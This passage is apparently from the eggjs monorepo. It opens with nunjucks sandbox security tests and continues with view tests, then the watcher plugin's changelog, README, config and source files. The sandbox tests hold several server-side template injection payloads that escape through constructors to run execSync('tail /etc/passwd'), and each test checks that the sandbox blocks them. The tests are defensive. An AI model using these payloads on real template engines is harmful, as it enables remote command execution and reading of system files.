       .query({\n            tpl: \"{{name.prototype.toString.constructor(\\\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\\\")()}}\",\n          })\n          .expect(/Unable to call `name\\[\"prototype\"\\]\\[\"toString\"\\]\\[\"constructor\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      it('name.prototype.toString[name]', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'constructor' })\n          .query({\n            tpl: \"{{name.prototype.toString[name](\\\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\\\")()}}\",\n          })\n          .expect(/Unable to call `name\\[\"prototype\"\\]\\[\"toString\"\\]\\[\"name\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      it('name.prototype.toString[\"constructor\"]', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n          .query({\n            tpl: '{{name.prototype.toString[\"constructor\"](\"return global.process.mainModule.require(\\'child_process\\').execSync(\\'tail /etc/passwd\\')\")()}}',\n          })\n          .expect(/Unable to call `name\\[\"prototype\"\\]\\[\"toString\"\\]\\[\"constructor\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      it(\"name.prototype.toString['constructor']\", () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n          .query({\n            tpl: \"{{name.prototype.toString['constructor'](\\\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\\\")()}}\",\n          })\n          .expect(/Unable to call `name\\[\"prototype\"\\]\\[\"toString\"\\]\\[\"constructor\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      it(\"name.prototype.toString['cons' + 'tructor']\", () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n          .query({\n            tpl: \"{{name.prototype.toString['cons' + 'tructor'](\\\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\\\")()}}\",\n          })\n          .expect(\n            /Unable to call `name\\[\"prototype\"\\]\\[\"toString\"\\]\\[\"--expression--\"\\]`, which is undefined or falsey/,\n          )\n          .expect(500);\n      });\n\n      it('foo{{range.constructor', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n          .query({\n            tpl: \"foo{{range.constructor(\\\"return process.mainModule.require('child_process').execSync('tail /etc/passwd')\\\")() + name}}\",\n          })\n          .expect(/Unable to call `range\\[\"constructor\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      it('range.constructor', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n          .query({\n            tpl: \"{{range.constructor(\\\"return process.mainModule.require('child_process').execSync('tail /etc/passwd')\\\")()}}\",\n          })\n          .expect(/Unable to call `range\\[\"constructor\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      it('range.constructor global', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n          .query({\n            tpl: \"{{range.constructor(\\\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\\\")()}}\",\n          })\n          .expect(/Unable to call `range\\[\"constructor\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      it('cycler.constructor', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n          .query({\n            tpl: \"{{cycler.constructor(\\\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\\\")()}}\",\n          })\n          .expect(/Unable to call `cycler\\[\"constructor\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      it('joiner.constructor', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n          .query({\n            tpl: \"{{joiner.constructor(\\\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\\\")()}}\",\n          })\n          .expect(/Unable to call `joiner\\[\"constructor\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      // https://github.com/epinna/tplmap/blob/master/plugins/engines/nunjucks.py#L8\n      it('global.process.mainModule.require', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n          .query({\n            tpl: \"{{global.process.mainModule.require('child_process').execSync('tail /etc/passwd')}}\",\n          })\n          .expect(/Unable to call `global\\[\"process\"\\]\\[\"mainModule\"\\]\\[\"require\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      it('global.process.mainModule.require (duplicate test)', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n          .query({\n            tpl: \"{{global.process.mainModule.require('child_process').execSync('tail /etc/passwd')}}\",\n          })\n          .expect(/Unable to call `global\\[\"process\"\\]\\[\"mainModule\"\\]\\[\"require\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      it('process.mainModule.require', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n          .query({\n            tpl: \"{{process.mainModule.require('child_process').execSync('tail /etc/passwd')}}\",\n          })\n          .expect(/Unable to call `process\\[\"mainModule\"\\]\\[\"require\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      it('global.process.mainModule.require with os.platform', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n          .query({\n            tpl: \"{{global.process.mainModule.require('os').platform()}}\",\n          })\n          .expect(/Unable to call `global\\[\"process\"\\]\\[\"mainModule\"\\]\\[\"require\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      it('set value', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n          .query({\n            tpl: `\n            {% set username = joiner.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")() %}\n            {{username}}\n          `,\n          })\n          .expect(/Unable to call `joiner\\[\"constructor\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n\n      it('set value with name', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ fooname: 'constructor' })\n          .query({\n            tpl: `\n            {% set username = joiner[fooname](\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")() %}\n            {{username}}\n          `,\n          })\n          .expect(/Unable to call `joiner\\[\"fooname\"\\]`, which is undefined or falsey/)\n          .expect(500);\n      });\n    });\n  },\n);\n"
  },
  {
    "path": "plugins/view-nunjucks/test/view/view.test.ts",
    "content": "import { mock, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach, expect } from 'vitest';\n\nimport { getFixtures } from '../utils.ts';\n\n// TODO: windows will return \\r\\n, not \\n\n// Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\ndescribe.skipIf(process.platform === 'win32' || process.version.startsWith('v20.'))('test/view/view.test.ts', () => {\n  let app: MockApplication;\n\n  beforeAll(async () => {\n    app = mock.app({\n      baseDir: getFixtures('example'),\n      framework: getFixtures('framework'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n  afterEach(() => mock.restore());\n\n  it('should enable', () => {\n    return app.httpRequest().get('/').expect(200);\n  });\n\n  it('should render string', () => {\n    return app\n      .httpRequest()\n      .get('/string')\n      .expect(200)\n      .expect(/hi, egg/);\n  });\n\n  it('should render string with options path', () => {\n    return app\n      .httpRequest()\n      .get('/string_options')\n      .expect(200)\n      .expect(/<div>egg<div>/);\n  });\n\n  it('should render template', () => {\n    return app\n      .httpRequest()\n      .get('/')\n      .expect(200)\n      .expect(/hi, egg/);\n  });\n\n  it('should render template not found', () => {\n    return app\n      .httpRequest()\n      .get('/not_found')\n      .expect(500)\n      .expect(/Can't find not_found.tpl from /);\n  });\n\n  it('should render error', () => {\n    return app\n      .httpRequest()\n      .get('/error_string')\n      .expect(500)\n      .expect(/Template render error/i);\n  });\n\n  it('should inject helper/ctx/request', () => {\n    return app\n      .httpRequest()\n      .get('/inject')\n      .expect(200)\n      .expect(/ctx: true/)\n      .expect(/request: true/)\n      .expect(/helper: true/)\n      .expect(/helperFn: true/);\n  });\n\n  it('should load filter.js', async () => {\n    const res = await app.httpRequest().get('/filter');\n    expect(res.text).toMatch(/hi, egg/);\n    expect(res.status).toBe(200);\n  });\n\n  it('should load filter.js with include', () => {\n    return app\n      .httpRequest()\n      .get('/filter/include')\n      .expect(200)\n      .expect(/hi, egg/)\n      .expect(/hi, yadan/);\n  });\n\n  it('should extend locals', () => {\n    return app\n      .httpRequest()\n      .get('/locals')\n      .expect(200)\n      .expect(/app, ctx, locals/);\n  });\n\n  describe('multi-dir', () => {\n    let app: MockApplication;\n\n    beforeAll(async () => {\n      app = mock.app({\n        baseDir: getFixtures('multi-dir'),\n        framework: getFixtures('framework'),\n      });\n      await app.ready();\n    });\n\n    afterAll(() => app.close());\n\n    it('should support multi-dir config', () => {\n      return app.httpRequest().get('/view').expect(200, 'hi, egg');\n    });\n\n    it('should support multi-dir config for ext', () => {\n      return app.httpRequest().get('/ext').expect(200, 'hi, ext egg');\n    });\n\n    it('should include', () => {\n      return app.httpRequest().get('/include').expect(200, 'include hi, ext egg\\n');\n    });\n\n    it('should include relative', () => {\n      return app.httpRequest().get('/relative').expect(200, 'hello egg\\n');\n    });\n\n    it('should import', () => {\n      return app.httpRequest().get('/import').expect(200, '<div>\\n  <label>egg</label>\\n</div>\\n');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/view-nunjucks/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/vitest.config.ts",
    "content": "import { defineProject, type UserWorkspaceConfig } from 'vitest/config';\n\nconst config: UserWorkspaceConfig = defineProject({\n  test: {\n    testTimeout: 60000,\n    hookTimeout: 20000,\n  },\n});\n\nexport default config;\n"
  },
  {
    "path": "plugins/watcher/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 5.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\n## [4.0.4](https://github.com/eggjs/watcher/compare/v4.0.3...v4.0.4) (2025-01-11)\n\n\n### Bug Fixes\n\n* add isDirectory property ([#18](https://github.com/eggjs/watcher/issues/18)) ([1aaa983](https://github.com/eggjs/watcher/commit/1aaa98388edbdb4a327bbf3bd18f6760e3bfd262))\n\n## [4.0.3](https://github.com/eggjs/watcher/compare/v4.0.2...v4.0.3) (2025-01-04)\n\n\n### Bug Fixes\n\n* export watcher type on eggjs/core namespace ([#17](https://github.com/eggjs/watcher/issues/17)) ([12e7fbd](https://github.com/eggjs/watcher/commit/12e7fbdcd9381c662b8cd3a22e1e2dcafa15040f))\n\n## [4.0.2](https://github.com/eggjs/watcher/compare/v4.0.1...v4.0.2) (2024-12-20)\n\n\n### Bug Fixes\n\n* should export watcher from EggWatcherApplicationCore ([#16](https://github.com/eggjs/watcher/issues/16)) ([59a1880](https://github.com/eggjs/watcher/commit/59a18804aed5f4fd4aa4fbf65f3044cfb4345dea))\n\n## [4.0.1](https://github.com/eggjs/watcher/compare/v4.0.0...v4.0.1) (2024-12-20)\n\n\n### Bug Fixes\n\n* import event source only default export ([#15](https://github.com/eggjs/watcher/issues/15)) ([5c52c49](https://github.com/eggjs/watcher/commit/5c52c49c1347da194eb00844335642b1a1f73af8))\n\n## [4.0.0](https://github.com/eggjs/egg-watcher/compare/v3.1.1...v4.0.0) (2024-12-18)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\nhttps://github.com/eggjs/egg/issues/5257\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n\n## Summary by CodeRabbit\n\n- **New Features**\n- Introduced new configuration files for managing watcher settings in\ndifferent environments (default, local, unittest).\n- Added a new `Boot` class to manage application lifecycle and watcher\ninitialization.\n- Implemented `Watcher` class for monitoring file changes with event\nhandling.\n- Added `DevelopmentEventSource` and `DefaultEventSource` classes for\nspecific event source management.\n\n- **Bug Fixes**\n- Enhanced path handling in various modules to ensure correct file\nwatching functionality.\n\n- **Documentation**\n\t- Updated `README.md` with project name change and improved structure.\n\n- **Tests**\n- Introduced new unit tests for watcher functionality and refactored\nexisting test files to improve clarity and structure.\n\n- **Chores**\n- Removed deprecated configuration files and streamlined project\nstructure.\n\t- Updated TypeScript configuration for stricter type-checking.\n\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#14](https://github.com/eggjs/egg-watcher/issues/14)) ([c80fea0](https://github.com/eggjs/egg-watcher/commit/c80fea0327a664edfd03bdc2e08757305e28ad32))\n\n3.1.1 / 2020-03-26\n==================\n\n**fixes**\n  * [[`9ab2eed`](http://github.com/eggjs/egg-watcher/commit/9ab2eed055d4a036cc2926780d5d8107e37523b2)] - fix: spell error on watcher.js (#13) (zoomdong <<1344492820@qq.com>>)\n\n**others**\n  * [[`ffd3720`](http://github.com/eggjs/egg-watcher/commit/ffd3720e03c94eec20f8f755a01978a0eee70814)] - chore: update travis (TZ | 天猪 <<atian25@qq.com>>)\n\n3.1.0 / 2018-09-20\n==================\n\n**others**\n  * [[`0c5269a`](http://github.com/eggjs/egg-watcher/commit/0c5269ad940002ecb442900d4fa285c8d45e014e)] - refactor: reduce same logic codes and add more log (#11) (fengmk2 <<fengmk2@gmail.com>>)\n\n3.0.0 / 2017-11-10\n==================\n\n**others**\n  * [[`c1d8460`](http://github.com/eggjs/egg-watcher/commit/c1d846066f1d12ace466bf486412930e789d2e92)] - refactor: use async function and support egg@2 (#10) (Yiyu He <<dead_horse@qq.com>>)\n\n2.2.0 / 2017-09-08\n==================\n\n  * feat: add event source event logs (#9)\n\n2.1.3 / 2017-06-04\n==================\n\n  * docs: fix License url (#8)\n\n2.1.2 / 2017-05-03\n==================\n\n  * chore: upgrade dependencies (#7)\n\n2.1.1 / 2017-04-13\n==================\n\n  * fix: should support watch one file multiple times (#6)\n  * test: add config.keys to fix tests (#5)\n\n2.1.0 / 2017-02-17\n==================\n\n  * feat: pass custom options (#4)\n  * docs: how to customize event source (#3)\n\n2.0.0 / 2017-01-25\n==================\n\n  * feat: [BREAK CHANGE]  use cluster-client (#2)\n\n1.0.0 / 2016-07-20\n==================\n\n  * Initial commit\n"
  },
  {
    "path": "plugins/watcher/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2016-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/watcher/README.md",
    "content": "# @eggjs/watcher\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/watcher.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/watcher.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/watcher\n[snyk-image]: https://snyk.io/test/npm/@eggjs/watcher/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/watcher\n[download-image]: https://img.shields.io/npm/dm/@eggjs/watcher.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/watcher\n\nFile watcher plugin for egg\n\n## Usage\n\nIn worker process:\n\n### app.watcher.watch(path, listener)\n\nStart watching file(s).\n\n- path(String|Array): file path(s)\n- listener(Function): file change callback\n\n### app.watcher.unwatch(path[, listener])\n\nStop watching file(s).\n\n- path(String|Array): file path(s)\n- listener(Function): file change callback\n\nIn agent process:\n\n### agent.watcher.watch(path, listener)\n\nStart watching file(s).\n\n- path(String|Array): file path(s)\n- listener(Function): file change callback\n\n### agent.watcher.unwatch(path[, listener])\n\nStop watching file(s).\n\n- path(String|Array): file path(s)\n- listener(Function): file change callback\n\n## Watching mode\n\n### `development` Mode\n\nThere's a built-in [development mode](https://github.com/eggjs/watcher/blob/master/src/lib/event-sources/development.ts) which works in local(env is `local`). Once files on disk is modified it will emit a `change` event immediately.\n\n### Customize Watching Mode\n\nSay we want to build a custom event source plugin (package name: `egg-watcher-custom`, eggPlugin.name: `watcherCustom`).\n\nFirstly define our custom event source like this:\n\n```ts\n// {plugin_root}/lib/custom_event_source.js\nimport { Base } from 'sdk-base';\n\nexport default class CustomEventSource extends Base {\n  // `opts` comes from app.config[${eventSourceName}]\n  // `eventSourceName` will be registered later in\n  // `config.watcher.eventSources` as the key shown below\n  constructor(opts) {\n    super(opts);\n    this.ready(true);\n  }\n\n  watch(path) {\n    // replace this with your desired way of watching,\n    // when aware of any change, emit a `change` event\n    // with an info object containing `path` property\n    // specifying the changed directory or file.\n    this._h = setInterval(() => {\n      this.emit('change', { path });\n    }, 1000);\n  }\n\n  unwatch() {\n    // replace this with your implementation\n    if (this._h) {\n      clearInterval(this._h);\n    }\n  }\n}\n```\n\nEvent source implementations varies according to your running environment. When working with vagrant, docker, samba or such other non-standard way of development, you should use a different watch API specific to what you are working with.\n\nThen add your custom event source to config:\n\n```js\n// config/config.default.js\nimport CustomEventSource from '../lib/custom_event_source';\n\nexport default {\n  watcher: {\n    eventSources: {\n      custom: CustomEventSource,\n    },\n  },\n};\n```\n\nChoose to use your custom watching mode in your desired env.\n\n```js\n// config/config.${env}.js\n\nexport default {\n  watcher: {\n    type: 'custom',\n  },\n\n  // this will pass to your CustomEventSource constructor as opts\n  watcherCustom: {\n    // foo: 'bar',\n  },\n};\n```\n\nIf possible, plugins named like `egg-watcher-${customName}`(`egg-watcher-vagrant` eg.) are recommended.\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/watcher/package.json",
    "content": "{\n  \"name\": \"@eggjs/watcher\",\n  \"version\": \"5.0.2-beta.5\",\n  \"description\": \"file watcher plugin for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"egg-watcher\",\n    \"watch\",\n    \"watcher\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/watcher\",\n  \"license\": \"MIT\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/watcher\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./agent\": \"./src/agent.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./config/config.local\": \"./src/config/config.local.ts\",\n    \"./config/config.unittest\": \"./src/config/config.unittest.ts\",\n    \"./lib/boot\": \"./src/lib/boot.ts\",\n    \"./lib/event-sources\": \"./src/lib/event-sources/index.ts\",\n    \"./lib/event-sources/base\": \"./src/lib/event-sources/base.ts\",\n    \"./lib/event-sources/default\": \"./src/lib/event-sources/default.ts\",\n    \"./lib/event-sources/development\": \"./src/lib/event-sources/development.ts\",\n    \"./lib/utils\": \"./src/lib/utils.ts\",\n    \"./lib/watcher\": \"./src/lib/watcher.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./agent\": \"./dist/agent.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./config/config.local\": \"./dist/config/config.local.js\",\n      \"./config/config.unittest\": \"./dist/config/config.unittest.js\",\n      \"./lib/boot\": \"./dist/lib/boot.js\",\n      \"./lib/event-sources\": \"./dist/lib/event-sources/index.js\",\n      \"./lib/event-sources/base\": \"./dist/lib/event-sources/base.js\",\n      \"./lib/event-sources/default\": \"./dist/lib/event-sources/default.js\",\n      \"./lib/event-sources/development\": \"./dist/lib/event-sources/development.js\",\n      \"./lib/utils\": \"./dist/lib/utils.js\",\n      \"./lib/watcher\": \"./dist/lib/watcher.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/utils\": \"workspace:*\",\n    \"camelcase\": \"catalog:\",\n    \"sdk-base\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/utils\": \"workspace:*\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/watcher/src/agent.ts",
    "content": "import { Boot } from './lib/boot.ts';\n\nexport default Boot;\n"
  },
  {
    "path": "plugins/watcher/src/app.ts",
    "content": "import { Boot } from './lib/boot.ts';\n\nexport default Boot;\n"
  },
  {
    "path": "plugins/watcher/src/config/config.default.ts",
    "content": "import path from 'node:path';\n\nexport interface WatcherConfig {\n  /**\n   * event source type, default is `default`\n   * can be `default` or `development`\n   */\n  type: string;\n  /**\n   * event sources\n   * key is event source type, value is event source module path\n   */\n  eventSources: Record<string, string>;\n}\n\nexport default {\n  /**\n   * watcher options\n   * @member Config#watcher\n   * @property {string} type - event source type\n   */\n  watcher: {\n    type: 'default', // default event source\n    eventSources: {\n      default: path.join(import.meta.dirname, '../lib/event-sources/default'),\n      development: path.join(import.meta.dirname, '../lib/event-sources/development'),\n    },\n  } as WatcherConfig,\n};\n"
  },
  {
    "path": "plugins/watcher/src/config/config.local.ts",
    "content": "import type { PartialEggConfig } from 'egg';\n\nconst config: PartialEggConfig = {\n  watcher: {\n    type: 'development',\n  },\n};\n\nexport default config;\n"
  },
  {
    "path": "plugins/watcher/src/config/config.unittest.ts",
    "content": "import type { PartialEggConfig } from 'egg';\n\nconst config: PartialEggConfig = {\n  watcher: {\n    type: 'development',\n  },\n};\n\nexport default config;\n"
  },
  {
    "path": "plugins/watcher/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\nexport default definePluginFactory({\n  name: 'watcher',\n  enable: true,\n  path: import.meta.dirname,\n}) as EggPluginFactory;\n\nexport * from './lib/watcher.ts';\nexport * from './lib/event-sources/index.ts';\n"
  },
  {
    "path": "plugins/watcher/src/lib/boot.ts",
    "content": "import type { ILifecycleBoot, EggApplicationCore } from 'egg';\n\nimport { Watcher } from './watcher.ts';\n\nexport class Boot implements ILifecycleBoot {\n  #app: EggApplicationCore;\n\n  constructor(appOrAgent: EggApplicationCore) {\n    this.#app = appOrAgent;\n    this.#app.watcher = this.#app.clusterWrapper(Watcher, {}).delegate('watch', 'subscribe').create(appOrAgent.config);\n    this.#app.watcher\n      .on('info', (msg: string, ...args: any[]) => this.#app.coreLogger.info(msg, ...args))\n      .on('warn', (msg: string, ...args: any[]) => this.#app.coreLogger.warn(msg, ...args))\n      .on('error', (msg: string, ...args: any[]) => this.#app.coreLogger.error(msg, ...args));\n  }\n\n  async didLoad(): Promise<void> {\n    await this.#app.watcher.ready();\n    this.#app.coreLogger.info('[@eggjs/watcher:%s] watcher start success', this.#app.type);\n  }\n}\n"
  },
  {
    "path": "plugins/watcher/src/lib/event-sources/base.ts",
    "content": "import { Base } from 'sdk-base';\n\nexport abstract class BaseEventSource extends Base {\n  abstract watch(file: string): void;\n  abstract unwatch(file: string): void;\n}\n"
  },
  {
    "path": "plugins/watcher/src/lib/event-sources/default.ts",
    "content": "import { BaseEventSource } from './base.ts';\n\nexport default class DefaultEventSource extends BaseEventSource {\n  constructor() {\n    super();\n    // delay emit so that can be listened\n    setImmediate(() => this.emit('info', '[@eggjs/watcher] defaultEventSource watcher will NOT take effect'));\n    this.ready(true);\n  }\n\n  watch(): void {\n    this.emit('info', '[@eggjs/watcher] using defaultEventSource watcher.watch() does NOTHING');\n  }\n\n  unwatch(): void {\n    this.emit('info', '[@eggjs/watcher] using defaultEventSource watcher.unwatch() does NOTHING');\n  }\n}\n"
  },
  {
    "path": "plugins/watcher/src/lib/event-sources/development.ts",
    "content": "import fs, { type FSWatcher, type WatchEventType } from 'node:fs';\nimport path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport type { ChangeInfo } from '../watcher.ts';\nimport { BaseEventSource } from './base.ts';\n\nconst debug = debuglog('egg-watcher/lib/event-sources/development');\n\n// only used by local dev environment\nexport default class DevelopmentEventSource extends BaseEventSource {\n  #fileWatching = new Map<string, FSWatcher>();\n\n  constructor() {\n    super();\n    this.ready(true);\n  }\n\n  watch(file: string): void {\n    try {\n      const stat = fs.statSync(file, { throwIfNoEntry: false });\n      if (!stat) {\n        debug('watch %o ignore, file not exists', file);\n        return;\n      }\n      debug('watch %o, isFile: %o', file, stat.isFile());\n      // https://nodejs.org/docs/latest/api/fs.html#fswatchfilename-options-listener\n      let recursive = true;\n      if (process.platform === 'linux' && process.version.startsWith('v18.')) {\n        // https://github.com/fgnass/filewatcher/pull/6\n        // disable recursive on linux + Node.js <= 18\n        recursive = false;\n      }\n      const handler = fs.watch(\n        file,\n        {\n          persistent: true,\n          recursive,\n        },\n        (event, filename) => {\n          debug('watch %o => event: %o, filename: %o', file, event, filename);\n          let changePath = file;\n          if (stat.isFile()) {\n            this.#onFsWatchChange(event, changePath);\n          } else {\n            // dir\n            if (filename) {\n              changePath = path.join(file, filename);\n            }\n            this.#onFsWatchChange(event, changePath);\n          }\n        },\n      );\n      // 保存 handler，用于解除监听\n      this.#fileWatching.set(file, handler);\n    } catch (e) {\n      // file not exist, do nothing\n      // do not emit error, in case of too many logs\n      this.emit('warn', '[@eggjs/watcher:DevelopmentEventSource] watch %o error: %s', file, e);\n    }\n  }\n\n  unwatch(file: string): void {\n    if (!file) return;\n\n    const h = this.#fileWatching.get(file);\n    if (!h) return;\n\n    // fs.watch 文件监听\n    h.removeAllListeners();\n    h.close();\n    this.#fileWatching.delete(file);\n  }\n\n  #onFsWatchChange(event: WatchEventType, file: string) {\n    if (!file) {\n      this.emit('warn', '[@eggjs/watcher:DevelopmentEventSource] event: %o', event);\n      return;\n    }\n    // { event: 'change',\n    // path: '/Users/mk2/git/changing/test/fixtures/foo.js',\n    // stat:\n    //  { dev: 16777220,\n    //    mode: 33188,\n    //    nlink: 1,\n    //    uid: 501,\n    //    gid: 20,\n    //    rdev: 0,\n    //    blksize: 4096,\n    //    ino: 72656587,\n    //    size: 11,\n    //    blocks: 8,\n    //    atime: Wed Jun 17 2015 00:08:11 GMT+0800 (CST),\n    //    mtime: Wed Jun 17 2015 00:08:38 GMT+0800 (CST),\n    //    ctime: Wed Jun 17 2015 00:08:38 GMT+0800 (CST),\n    //    birthtime: Tue Jun 16 2015 23:19:13 GMT+0800 (CST) } }\n    const stat = fs.statSync(file, { throwIfNoEntry: false });\n    const info = {\n      path: file,\n      event,\n      stat,\n      isDirectory: stat?.isDirectory(),\n    } as ChangeInfo;\n    this.emit('change', info);\n  }\n}\n"
  },
  {
    "path": "plugins/watcher/src/lib/event-sources/index.ts",
    "content": "import { BaseEventSource } from './base.ts';\nimport DefaultEventSource from './default.ts';\nimport DevelopmentEventSource from './development.ts';\n\nexport { BaseEventSource, DefaultEventSource, DevelopmentEventSource };\n"
  },
  {
    "path": "plugins/watcher/src/lib/utils.ts",
    "content": "import path from 'node:path';\n\n// judge if parent is child's parent path\n// isEqualOrParentPath('/foo', '/foo/bar') => true\n// isEqualOrParentPath('/foo/bar', '/foo') => false\nexport function isEqualOrParentPath(parent: string, child: string): boolean {\n  return !path.relative(parent, child).startsWith('..');\n}\n"
  },
  {
    "path": "plugins/watcher/src/lib/watcher.ts",
